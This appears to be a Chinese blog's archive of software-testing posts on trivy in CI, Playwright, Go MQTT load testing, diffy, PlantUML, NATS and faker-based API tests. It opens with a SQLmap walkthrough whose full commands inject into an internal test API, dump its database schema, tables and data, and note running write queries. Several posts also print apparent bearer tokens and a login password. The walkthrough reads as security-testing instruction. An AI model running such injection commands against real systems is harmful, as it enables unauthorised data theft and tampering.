Category Archive : 自动化测试讨论

SQLmap的一次实战

1.找注入点(方法可以通过owasp zap去扫描,参考https://www.yinyubo.com/?p=79


2.找到注入点后,将url记下来,例如下图


3.在linux系统里下载sqlmap工具和python

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
apt install python -y

4.去被测网站上获取登录用的token。这里的Authorization信息用在sqlmap的head参数里


5.使用sqlmap工具获得当前数据库的schema

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  --current-db --answers="Y"

根据上图返回的信息,我们可以得到数据库的schema是public


6.获取到了数据库名字之后,我们再去获取数据库的表

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public --tables --answers="Y"

7.这里我们可以看到已经获取到了数据库的所有的表了,我们任意选一张表,去获取字段

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T migrations --dump --answers="Y"

8.抓到列名之后,我们根据列名,再去获取数据,比如我获取dirty 和version字段的数据

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T schema_migrations -C version,id --dump --answers="Y"

9.到这里基本上就结束了,如果还想往里面执行SQL脚本的话(增删改),可以使用–sql-query语句,我这个是查询时间

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --sql-query="select now();" --answers="Y"

trivy与droneCI结合,扫描容器安全

trivy是什么?

一款简单的安全扫描工具,扫描范围如下:

  • OS packages and software dependencies in use (SBOM)
  • Known vulnerabilities (CVEs)
  • IaC misconfigurations
  • Sensitive information and secrets

我们选择它的主要原因是,1.它能以docker的方式运行,通过把病毒库缓存挂载在NFS中,避免每次CI都去拉取病毒库。2.它的扫描速度快,10秒钟之内能结束战斗。3.它的扫描对象可以是容器镜像,直接扫描我们业务代码生成的镜像。

4.当扫描出安全漏洞时,我们可以更新基础镜像,一次性解决安全问题,并且再次运行trivy,快速检查。


droneCI里怎么使用trivy呢?

1.每晚定时更新trivy数据库,避开trivy每次自动更新,因为默认trivy上游仓库是6小时更新一次。如果没有自动更新,很有可能巧了,就刚好白天有次drone流水线业务代码提交遇上了trivy,那就花时间久了

附上drone流水线-trivy仓库的参考代码。把更新好的数据库,挂载到一个nfs缓存里

---
kind: pipeline
type: kubernetes
name: download trivy db
steps:
  - name: trivy download db
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --download-db-only"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - cron
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

2.以python仓库为例子,我们在生成镜像后,通过trivy images –exit-code 1 {镜像名称} 功能检查,如果有安全漏洞,会返回exit-code 1流水线结束

---
kind: pipeline
type: kubernetes
name: push
steps:
  - name: buildimages
    image: gcr.io/kaniko-project/executor:v1.8.1
    command: [此处省去build 镜像命令]
  - name: trivy
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --skip-db-update --security-checks vuln --exit-code 1 python:latest"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - push
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

流水线效果

playwright拖拽元素和获取元素集合

背景

因为这两个功能经常用,网上又很少有直接可以抄的代码,所以我写个文章记录一下

元素向下拖拽100个px

拖拽演示

解说:先定位到要拖拽的元素,然后鼠标移动到元素的中心点,接着鼠标选中,鼠标移动,鼠标放下

src_elem = page.locator("xpath=元素定位")
box = src_elem.bounding_box(timeout=60000)
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
page.mouse.down()
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2 + 100)
page.mouse.up()

元素拖拽到另外一个元素上

这种方法也有用,比如把一个按钮丢到另外一个画板里

src_elem = page.locator("xpath=元素原来的")
src_elem.drag_to(page.locator("xpath=元素新的位置"))

获取一批元素集合,然后截图

我们的页面上有一批图片,以瀑布流的方式展示出来,他们的css都是相同的,我们需要给每一个元素截图,并且截图之后再鼠标向下滚动一下

elements = page.query_selector_all(".search-result__item")
number = 1
for item in elements:
    number = number + 1
    page.mouse.wheel(0, 100)
    item.screenshot(path="image/"+str(number) + ".png")
    time.sleep(1)

Golang使用协程并发多个mqtt的publish信息(读取csv,发送json格式报文)

需求

开发语言:golang
目的:并发10000个mqtt连接,循环发送publish信息,当时间戳小于某个值的时候,中止循环,退出连接
publish内容是json格式的,未设置时,有默认值,可以通过golang代码修改json内容
登录信息存取在csv文件中,csv文件有多少列,就并发多少个设备连接

话不多说,直接上代码

main.go

package main
import (
	"encoding/csv"
	"encoding/json"
	"fmt"
	"os"
	"strconv"
	"time"
	mqtt "github.com/eclipse/paho.mqtt.golang"
)
var total int
// 读取csv文件里的第3列数据,存入一个string数组里
func readcsv(filename string) []string {
	var userNameList []string
	f, _ := os.Open(filename)
	defer f.Close()
	w := csv.NewReader(f)
	data, err := w.ReadAll()
	if err != nil {
		fmt.Println(err)
	}
	for i := range data {
		userNameList = append(userNameList, data[i][2])
	}
	return userNameList
}
func mqttDevice(username string, end_number chan int) {
	// mqtt设备连接,设置IP地址
	opts := mqtt.NewClientOptions().AddBroker("localhost:1883")
	// 设置连接的用户名密码
	opts.SetUsername(username)
	// 使用连接信息进行连接
	client := mqtt.NewClient(opts)
	if token := client.Connect(); token.Wait() && token.Error() != nil {
		panic(token.Error())
	}
	time.Sleep(1 * time.Second)
	fmt.Println("connect success:" + username)
	// 读取json文件,json文件里的是默认参数
	fileReader, _ := os.Open("test.json")
	var eiopJsonMap map[string]interface{}
	json.NewDecoder(fileReader).Decode(&eiopJsonMap)
	// 设置一个开始时间戳和结束时间戳
	startTime := 1598167852000
	endTime := 1598167852000
	// 循环发送遥测,每次遥测间隔时间戳为15分钟
	for ; startTime < endTime; startTime = startTime + 900000 {
		// 定义一个ep的初始值为1,每循环一次就+1
		var ep int
		ep++
		eiopJsonMap["ts"] = startTime
		eiopJsonMap["values"].(map[string]interface{})["ep"] = ep
		// 把修改过的json内容从map转换为json格式
		eiopJsonText, _ := json.Marshal(eiopJsonMap)
		fmt.Println(string(eiopJsonText))
		// 发送遥测,发完之后休眠1秒
		result := client.Publish("topic", 0, true, eiopJsonText)
		result.Wait()
		time.Sleep(1 * time.Second)
	}
	// 发送完信息之后,退出连接
	fmt.Println("disconnect:" + username)
	client.Disconnect(250)
	total++
	end_number <- total
}
func main() {
	userNameList := readcsv("connect_info.csv")
	endNumber := make(chan int, len(userNameList))
	// 变量所有的username,通过go关键字并发多个设备
	for _, userName := range userNameList {
		go mqttDevice(userName, endNumber)
	}
	// 当所有的设备都发送完毕后,关闭程序
	for i := range endNumber {
		fmt.Println("已经有" + strconv.Itoa(i) + "个设备发送完毕")
		if i == len(userNameList) {
			return
		}
	}
}

test.json

{
	"ts": 1603088274000,
	"values": {
		"ep": 12
	}
}

connect_info.csv

localhost,1883,XecUwSmMGiYJp2BspMK2
localhost,1883,GqVqoPP2wblDjS2P9pQ9

diffy做流量比对的实践和样例

例子代码的简单介绍

因为要想做这个流量比对,那得有前端代码,后端代码,nginx,测试同学想要熟悉diffy的功能,需要有修改前后端代码的能力,我们的AIMP项目部署起来相对复杂,所以我编写了一个小项目,用于同学们测试。
1.前端代码 vue架构:https://gitee.com/li_shuai520/diffy.example.frontend.git。提供一个页面,有输入框和按钮,供用户输入和触发http请求到后端
2.后端代码python3: https://gitee.com/li_shuai520/diffy.example.backend.git。里面包含4段代码,4段代码都运行起来,会占用5000,50001,5002,5003端口
3.nginx关键配置如下:
192.168.0.240 是运行diffy机器的IP,192.168.1.5是运行我本机的IP

location /api {
            mirror /mirror;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP              $remote_addr;
            proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
            proxy_set_header X-NginX-Proxy      true;
            proxy_pass http://192.168.1.5:5000/getMsg;
    }
    location = /mirror {
            internal;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP              $remote_addr;
            proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
            proxy_set_header X-NginX-Proxy      true;
            proxy_pass http://192.168.0.240:8880/getMsg;
    }

业务实践图

前端代码安装

1.把前端代码下载到本地,修改src\components\Lzw.vue里的const path 为自己的nginx后台路径
1.运行命令npm install ,npm run build。产生dist目录
2.把dist目录里的文件复制到nginx的/usr/share/nginx/html目录下

nginx配置

1.修改/etc/nginx/conf.d/default.conf。配置后端反向代理和流量镜像

后端代码安装

把4个代码run就完事了。new_code和old_code的区别,就在/getMsg这个接口的get请求的非返回结果中,多了一个“new”:随机数 。我们的目标,就是diffy要能比较并告诉我们,这个new在新老代码中是不同的
new_code有2个一样的,占用了5000和5001
old_code也有2个一样的,占用了5002和5003

diffy用docker安装

其中192.168.1.5是我自己电脑的IP地址

docker run -ti \
  -p 8880:8880 -p 8881:8881 -p 8888:8888 \
  diffy/diffy \
    -candidate=192.168.1.5:5001 \
    -master.primary=192.168.1.5:5002 \
    -master.secondary=192.168.1.5:5003 \
    -service.protocol=http \
    -serviceName="Test-Service" \
    -summary.email='zhenwei.li@sfere-elec.com' \
    -proxy.port=:8880 \
    -admin.port=:8881 \
    -http.port=:8888 \
    -allowHttpSideEffects=true \
    -rootUrl=localhost:8888

使用截图








twitter/diffy的使用

twitter/diify是twitter公司出的一款测试工具,号称是一款能够帮助软件开发人员寻找bug,测试bug,并且无须编写新代码,可直接用来比较代码运行以后的结果的工具。
为了赶时髦,我也安装试用了一下。可能能使用的情况为,用一台测试环境做代理,把http请求数据同时发给3台测试环境,比对response。但是此工具的限制还是很多的。
比如默认只支持get,其他的Post,put,delete请求需要开启-allowHttpSideEffects=true。再比如,不同测试环境,用的token也不一致,这个不好处理。
但是还是先试用再说吧


通过docker运行

其中192.168.95.243:8086是测试环境后台。192.168.95.246:8086是模拟线上环境后台

docker run -ti \
  -p 8880:8880 -p 8881:8881 -p 8888:8888 \
  diffy/diffy \
    -candidate=192.168.95.243:8086 \
    -master.primary=192.168.95.246:8086 \
    -master.secondary=192.168.95.241:8086 \
    -service.protocol=http \
    -serviceName="Test-Service" \
    -proxy.port=:8880 \
    -admin.port=:8881 \
    -http.port=:8888 \
    -allowHttpSideEffects=true \
    -rootUrl=localhost:8888

web浏览器访问http://192.168.0.244:8888/ 即可打开比较结果页面


测试

通过对192.168.0.244:8888/进行http请求,会把请求转发给不同的服务器,进行比对之后,会再输出结果

curl http://localhost:8880/api/v1/auth/login -H "Content-Type:application/json" -X  POST -d '{"username":"lizhenwei", "password":"123456"}'


Eclipse下PlantUML 的正确安装以及使用

最近做项目管理,总是需要画图。发现Eclipse下安装PlantUML最方便。但是网上的教程大多数都不完整,各种缺斤少两,我决定自己来一次

1.通过eclipse install new software 下载plantUML插件.下载地址

http://hallvard.github.io/plantuml/ - http://hallvard.github.io/plantuml/

截图:

2.下载安装Graphviz

windows版本下载地址:http://www.graphviz.org/Download_windows.php

下载上图红框所示文件完成后,双击msi文件,然后一直next(记住安装路径,后面配置环境变量会用到路径信息),安装完成之后,会在windows开始菜单创建快捷信息,默认快捷方式不放在桌面,如图所示。
配置Graphviz的环境变量
将graphviz安装目录下的bin文件夹添加到Path环境变量中,比如D:\Program Files (x86)\Graphviz2.38\bin(注意Path路径下最后有没有“;”,没有的话应该添加;D:\Program Files (x86)\Graphviz2.38\bin)

3.Eclipse下的PlantUML需要指定Graphviz的路径

在 window–preferences–PlantUML–指定Graphviz安装目录bin文件夹下的dot.exe

4.如何在eclipse里使用

1.打开windows -> show view -> other -> PlantUML

会在界面下方生成一个view.
2.在代码里。或者new一个任意的txt文件。输入测试代码

@startuml
Alice -> Bob: Authentication Request
Bob --> Alice: Authentication Response
Alice -> Bob: Another authentication Request
Alice <-- Bob: another authentication Response
@enduml

检查界面下方的view

java使用nats-client进行pub/sub发送json的实例

需求介绍:

NATS是一个开源且高性能的消息系统,它常常被认为是”一个为云服务的中央神经系统”.它每秒钟可以传送百万条消息,所以非常适合用来连接微服务和IOT设备。
NATS是一个发布订阅方式的消息系统。在这类系统中,一个或多个消息发布者将特定的主题发送给一个消息中介者,然后消息中介者再将消息分发给任意客户端(或者这个主题的订阅者)。消息发布者不知道也不关心消息订阅者是谁,反之依然。由于我们可以在不影响系统其它部分的情况下增加新的消息发布者和订阅者,这样的架构使得系统的伸缩性变得很好并且可以比较容易地增加系统的容量。这种类型的系统非常适合用来监测服务器和终端设备;终端设备可以发送消息,我们可以订阅这些消息,然后通过邮件或者其他的方式发送消息通知。

下面我们会部署一个nats-server在windows上,然后使用java创建两个nats客户端,一个发送pub请求,一个发送sub请求,检查sub的这个客户端上能否收到信息。

服务端部署

1.进入网站https://www.nats.io/download/nats-io/gnatsd/
2.下载windows版本,也可以用docker-image版,都很方便。
3.windows版本,下载之后,解压,双击gnatsd.exe即可运行
4.获得服务器地址:nats://localhost:4222

nats代码

1.先maven安装相关依赖,主要是nats的和json的,因为我们要pub一个json过去

<dependency>
<groupId>io.nats</groupId>
<artifactId>jnats</artifactId>
<version>2.2.0</version>
</dependency>
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
<version>2.8.5</version>
</dependency>

 

nats客户端(sub订阅)

package nats.lzwtest;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.CountDownLatch;
import io.nats.client.Connection;
import io.nats.client.Dispatcher;
import io.nats.client.Nats;
public class SubscribeAsync {
    public static void main(String[] args) {
        try {
            // [begin subscribe_async]
        	Connection nc = Nats.connect("nats://localhost:4222");
            // Use a latch to wait for a message to arrive
            CountDownLatch latch = new CountDownLatch(10);
            // Create a dispatcher and inline message handler
            Dispatcher d = nc.createDispatcher((msg) -> {
                String str = new String(msg.getData(), StandardCharsets.UTF_8);
                System.out.println(str);
                latch.countDown();
            });
            // Subscribe
            d.subscribe("lizhenwei");
            // Wait for a message to come in
            latch.await();
            // Close the connection
            nc.close();
            // [end subscribe_async]
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

 

nats客户端(pub发布)

package nats.lzwtest;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import io.nats.client.Connection;
import io.nats.client.Nats;
// [begin publish_json]
class StockForJsonPub {
    public String symbol;
    public float price;
}
public class PublishJSON {
    public static void main(String[] args) {
        try {
        	Connection nc = Nats.connect("nats://localhost:4222");
            // Create the data object
            StockForJsonPub stk = new StockForJsonPub();
            stk.symbol="GOOG";
            stk.price=1200;
            // use Gson to encode the object to JSON
            GsonBuilder builder = new GsonBuilder();
            Gson gson = builder.create();
            String json = gson.toJson(stk);
            // Publish the message
            nc.publish("lizhenwei", json.getBytes(StandardCharsets.UTF_8));
            // Make sure the message goes through before we close
            nc.flush(Duration.ZERO);
            nc.close();
            System.out.println("pub success");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
// [end publish_json]

运行结果

sub端收到如下:

{"symbol":"GOOG","price":1200.0}

 

需求池,开发池,交付池,避免发布混乱

最近公司开始搞sprint,2周一个sprint,这导致了一些问题,有一些存在相互依赖的功能,因为2周的时间线规定,被强行划成了两个sprint,老板要求测试人员必须跟着sprint,这导致环境问题频出,因为功能都不完整啊!所以我提出了建议,引入版本的概念。开发人员可以继续按照他们的sprint走,测试人员和项目经理,开发经理打成一致,把一个完整的功能做成一个版本,测试人员关注的是版本,而不是sprint。项目经理可以决定每次版本里包含哪些功能,但是版本里要求的功能一定是完整,且没有与另一个sprint或者版本存在相互依赖关系,版本可大可小。不可以再为了赶时间点,上一些不完整的功能呢。
目标是“稳定且完整”,而不是“依赖下个版本”

API测试:通过faker生成测试数据,通过schema检查返回结果

需求

假定有如主图相同的http请求。我们一般的做法是,用postman去抓取http请求,然后修改request的body或者header里的数据,点击send按钮,检查返回的response的body是否正确。
对于输入。一般来说,我们会纯手工,或者半自动的,设计测试用例。例如使用边界值分析,等价类划分等方法,用在我们的输入参数中。比如我参数中的configname最多200个参数,我测试输入201个参数。
对于输出。一般来说,我们大部分时候是肉眼检查,或者写代码,通过jsonpath取参数,然后判断是否存在来检查。
这里我打算用一个新的方法来降低测试的手工特性,让他更自动化一点。以下想法还处于调试阶段,用于大规模使用,暂时不行。

设计

输入修改方案:引入faker库和jsonschema库。通过这两个库,我们可以产生随机的json串
faker是我无意之间发现的,能按照规律产生随机字的库,例如

fake.name()

是产生一个随机的名字,只要加入适当的providers,就能按照需要的规则产生随机字
jsonschema这个用的人很多,这里就不介绍了,下面推荐一个网站,能把json请求转换为schema格式
https://jsonschema.net/
schema中会注明每个字段的规则,例如是string类型还是integer。
输出修改方案:使用jsonschma的validate方法来检查(这种检查方法目前有一些检查不充分,但是已经可以让测试人员减少一些工作量了)

jsonschema.validate(response, schema)

使用方案

1.去postman抓取http请求,并且记录下所需要的输入json和输出json

2.打开https://jsonschema.net/ 把输入json和输入json 转换成jsonschema

3.把输入jsonschema文件,输出文件jsonschema放入相应的目录,自己写一个用于生成随机requestbody的provider和一个测试用的主函数

4.运行测试主入口文件,打印一下发送的json文件,看是不是随机化了,结果是确实随机化了。

代码

测试主入口test_json_from_schema.py

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import json
import faker
import jsonschema
import requests
from jsonschema.exceptions import ValidationError
import jsonprovider
def generate_request(request_json_schema):
    '''
    通过schema生成随机测试数据
    :param request_json_schema:
    :return:
    '''
    fake = faker.Faker()
    fake.add_provider(jsonprovider.JSONProvider)
    request_body = fake.json(json.load(open(request_json_schema)))
    print(request_body)
    return request_body
def check_json_schema(response, schema):
    '''
    通过json_schema检查返回的json串
    :param response:
    :param schema:
    :return:
    '''
    result = True
    try:
        jsonschema.validate(response, schema)
    except ValidationError, e:
        print("fail")
        result = False
    return result
if __name__ == '__main__':
    # 生成request body
    body = generate_request("schema_file/create_config_request_schemas.json")
    # 使用request库发送post请求
    url = "https://dev.honcloud.honeywell.com.cn:8080/dashboard/clustercentre/configmng/newconfig/addconfig"
    headers = {"Content-Type": "application/json", "authorization": "48a5eb61-914e-4b3a-a7a3-0b25f72d06d7"}
    response = requests.post(url, data=body, headers=headers)
    print(response.json())
    response_json=response.json()
    response_schema="schema_file/create_config_response_schemas.json"
    # 用生成的response的schema来检查
    result=check_json_schema(response_json,response_schema)
    print(result)

jsonprovider.py可以自行百度一个faker的provider的方案,我这里做的也不好,随机出来的值只遵循了字符类型,后面会考虑融合我们的边界值分析,等价类划分的方案进来,完善这个jsonprovider.py之后再放出来


苏ICP备18047533号-2